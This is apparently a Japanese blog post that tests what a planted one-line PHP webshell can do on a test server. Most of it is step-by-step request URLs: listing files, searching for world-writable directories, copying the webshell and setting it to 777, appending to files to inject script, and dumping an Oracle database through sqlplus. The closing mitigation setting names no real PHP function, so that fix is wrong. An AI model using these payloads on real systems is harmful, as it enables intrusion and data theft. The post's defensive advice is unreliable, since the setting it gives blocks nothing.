webshellで出来ることの検証 

#はじめに
もしweb上でshellが実行できてしまったら・・・？
改めて脅威を認識するためにwebshellで出来ることを検証しました。

とても恐ろしいですので、出来ても悪用しないようにお願いします。
※注 テストサーバであっても**外部公開されている環境**で行なわないで下さい。

#前提条件
前提条件として管理しているWebサーバ上に、下記のファイルが置かれてしまった。
という想定の元で検証を進めます。

```webshell.php
<?php system($_GET["cmd"]);?>
```

このようなファイルが置かれてしまうことは・・・~~往々にしてありますね~~。
もし見つけたら`grep`して今すぐ削除して下さい。(笑)

正直な話、対策がされていない状態で、こんなファイルが置かれてしまった時点で何でも出来てしまいます。
なので今回は**getパラメータ**で出来る事に重きを置いて検証します。

#検証開始
では実際に検証していきます。
簡単なものから試して、最後に応用してみましょう。

##Step1 検索コマンド

`pwd`、`ls`、`find`といった検索系のコマンドを主に検証してきます。

###カレントディレクトリの取得

`pwd`でカレントディレクトリを取得してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=pwd
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/459b080a-35a7-abd3-1b46-d8e95afc5cb8.png)


ディレクトリは残念ながら見せられませんが、カレントディレクトリが取得できます。

###ディレクトリ一覧の取得

次に一覧を取得する`ls`を試してみます。
`-la`オプションも付けて実行してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=ls -la
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/f73faf7c-f2d1-3527-c30c-dc8cceac3d38.png)

正常に取得できますね。ブラウザ上で見ると`<br>`が無いので改行されないのでしょう。
ソースで見れば綺麗に取得できていることがわかります。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/a90a6692-b65c-ee9a-c536-41e1de74e2e7.png)

### ファイルの検索
`cd`は出来てもあまり意味が無さそうなので、
`find`でファイルの検索が出来るか検証してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=find ./ -name "webshell*"
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/14c2f768-8050-1460-6961-1ebba3682d9b.png)

検索も問題なく出来そうですね。
パーミッションで閲覧が出来なければ問題ありませんが、
細かく設定していない場合は脅威になりそうです。

##Step2 操作コマンド
Step1では検索系を主に検証してきました。
続いては操作系の`vi`、`chmod`、`echo`、`cp`を検証していきます。

### ファイルの書き込み
まずは`vi`から検証進めていきます。

```
http://192.168.1.29/test/webshell.php?cmd=vi webshell.php
```

![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/dae40c02-cd40-ff7f-faa3-43136ae651ae.png)

想定通りでしょうか。
エディタが開くコマンドや対話型のコマンドはWebベースだと上手く行かないようです。
ポーリングしているわけでもないですので、当然と言えば当然ですね。

1行でかければ対象行を書いて保存。なんてこともできるかも・・・？

###ファイル権限の変更
次に`chmod`で権限を変更してみます。

```
http://192.168.1.29/test/webshell.php?cmd=chmod 777 webshell.php
```

画面上では何も確認出来ませんでしたので、`ls`で確認してみましょう。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/ff1d3724-3307-594b-36bc-87fb7f0cbf72.png)

ふむ・・・権限変更がされていません。
おっと、よく見るとディレクトリ自体にrootでも書き込み権限がありませんね。

ファイルがあげられた時点で書き込み権限はあると思いますが、
今回は試しに書き込み権限がある場所を探してみましょう。

`xargs`を使って指定ディレクトリを全て見るのも良いですが、
折角なので`find`を使用してパーミッションがゆる～いディレクトリを探してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=find ../../ -type d -maxdepth 1　-ls  -perm /777
```
ディレクトリは全部舐めても構いませんが、重いので２～４階層を狙ったほうが良いかもしれません。
`-type d`でディレクトリに絞り、`-maxdepth 1`で1階層に絞ります。（実際はつけなくて良いです。）
`-perm /777`でそれぞれ権限７が付与されているものを検索！

![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/a582abb1-5914-77dd-f414-32c4930b83f2.png)

全っ然見せられませんが！
権限が許そうなフォルダを見つけることが出来ました。

では**ゆるふわディレクトリ**に対して`cp`でコピーが出来るか試してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=cp webshell.php ../../_XXXXX/webshell.php
```
画面には何も返ってきませんので、`ls`で確認してみましょう。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/1913e8a9-4875-8166-7a60-4f7ecae13a0c.png)

出来ちゃいますね～。
ここなら`chmod`で権限を返ることも出来るのではないでしょうか！
実行して`ls`で確認してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=chmod 777 ../../_XXXXX/webshell.php
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/6a674512-e5f2-a9bb-ddbc-fe164e9816a0.png)

当然、出来てしまいますね。
書き込み権限があったほうが便利ですので、此処から先の検証はコピーしたファイルとディレクトリを
媒体にして進めていきます。

###文字出力&ファイルの書き込み
気分を変えて`echo`を検証してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=echo Hello!
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/a26bf368-2901-6d24-7be3-0e1d8f231b51.png)
文字が表示できました！！(違)
単純に文字が表示できてもって話ですので、ファイルに文字が書き込めるか試してみます。

```
http://192.168.1.29/test/webshell.php?cmd=echo Hello! >> ../../_XXXXX/webshell.php
```

`less`で追記されているか見てみましょう。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/74b5343f-6c59-3e57-8bfd-fdb9fd2c48a0.png)

お、おお・・・ちゃんと追記されています。
これで、既存のファイルに対してScriptを埋め込むことも可能ですね。

しかも`less`すると外部公開していない場所の`php`等々を
ブラウザで出力することが可能ですね・・・。

**非公開ディレクトリのファイルをブラウザで出力することが可能！**


##Step3 DB操作コマンド
最後にDB接続できるか検証していきます。
一番面倒くさそうなOracleで検証していきましょう。

Oracleの場合だと、インストール時にSQLPlusがインストールされていることが多いです。
SQLPlusがインストールされてなかったら諦めましょう。

```
http://192.168.1.29/test/webshell.php?cmd=sqlplus user/passwd@dbname
```

画面上で何も返ってきませんね。
上記にも書きましたが対話型は厳しいのでしょうか・・・？

良くあるrootで-bash権限がないってパターンでしょうかね。

**ないなら直接叩けばいいじゃない！！！**

ということで`find`でも何でも良いのでsqlplusの場所を探しましょう。
ディレクトリを絞りつつやらないと、timeoutになりがちですね。

`/XXX/bin/sqlplus`

SQLplusのディレクトリを見つけましたので、早速試してみましょう。

```
http://192.168.1.29/test/webshell.php?cmd=/XXX/bin/sqlplus user/passwd@dbname
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/10ccdf85-8985-5492-2dd3-e370c3b96497.png)

接続さはされるけど同時に切断されてしまうようです。

###応用編 DBからデータを取得
検証も終盤を迎えました。これからが本番です。

接続出来るだけでは役に立ちませんので、
今まで検証してきたものを合わせてDBからデータを取得を試みます。

此処でひとつの仮説を立ててみました。

**1コマンドで接続、SQL文の発行まで出来ればSQLの内容を取得できるのではないか？**

実現可能かどうかを調べると、`echo`と組み合わせることで発行することが出来そう。
早速、組み立てて実行してみます。



```
http://192.168.1.29/test/webshell.php?cmd=echo select * from dual; | /XXX/bin/sqlplus user/passwd@dbname
```

`echo`でSQL文を記述。パイプでDBに接続します。
いけそうな気がしてきましたね。実行！！

･･･

画面から返ってきません。
接続が成功していれば先ほどのように接続しましたという情報が出るはずなので、
何かしらの構文が間違っている可能性があります。

･･･

`*`と`；`が怪しいですね。もしかするとSQL文が発行される前にどこかでエンコードされてしまうのでしょうか。
試し記号をエスケープして実行してみます。


```
http://192.168.1.29/test/webshell.php?cmd=echo select '*' from dual ';' | /XXX/bin/sqlplus user/passwd@dbname
```
sqlplusの`-s`はサイレントオプションで接続情報が表示されなくなります。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/196389/2f99918f-3546-e544-2c52-0fdc37991d57.png)


余裕でしたね。(1時間くらいかかりました。)
接続してDBから取得することが出来ました～。


##対策方法
全てを防ぐということは難しいと思いますが、
まずは権限を見直すことでしょうか。

ただ、私が途中でパーミッションを検索したように一つでも漏れがあれば、
権限がある場所から如何様にも楽しむことができてしまいます。

もう一つの対策としてphpの設定でwebshellを制限掛けることが出来ます。

``` php.ini
disable_functions=web_shell
```

systemコマンドは殆ど使うことが無いと思いますので、
disableにしてしまって良いと思います。

もし現状で公開しているサーバで使用してしているのであれば**仕組みに問題がある**ため、
使用しない作りに修正するべきです。


##まとめ
今回は自分の知見を深めるために、何処まで出来るのかを検証しました。
何がやれるのかをある程度把握できれば、アラートがあげやすいのではないでしょうか。

冒頭にも申し上げましたが、こんなファイル上がった時点で終わりです(笑)
何でも出来てしまいますので、手遅れになる前にセキュリティ意識を高めていきたいですね。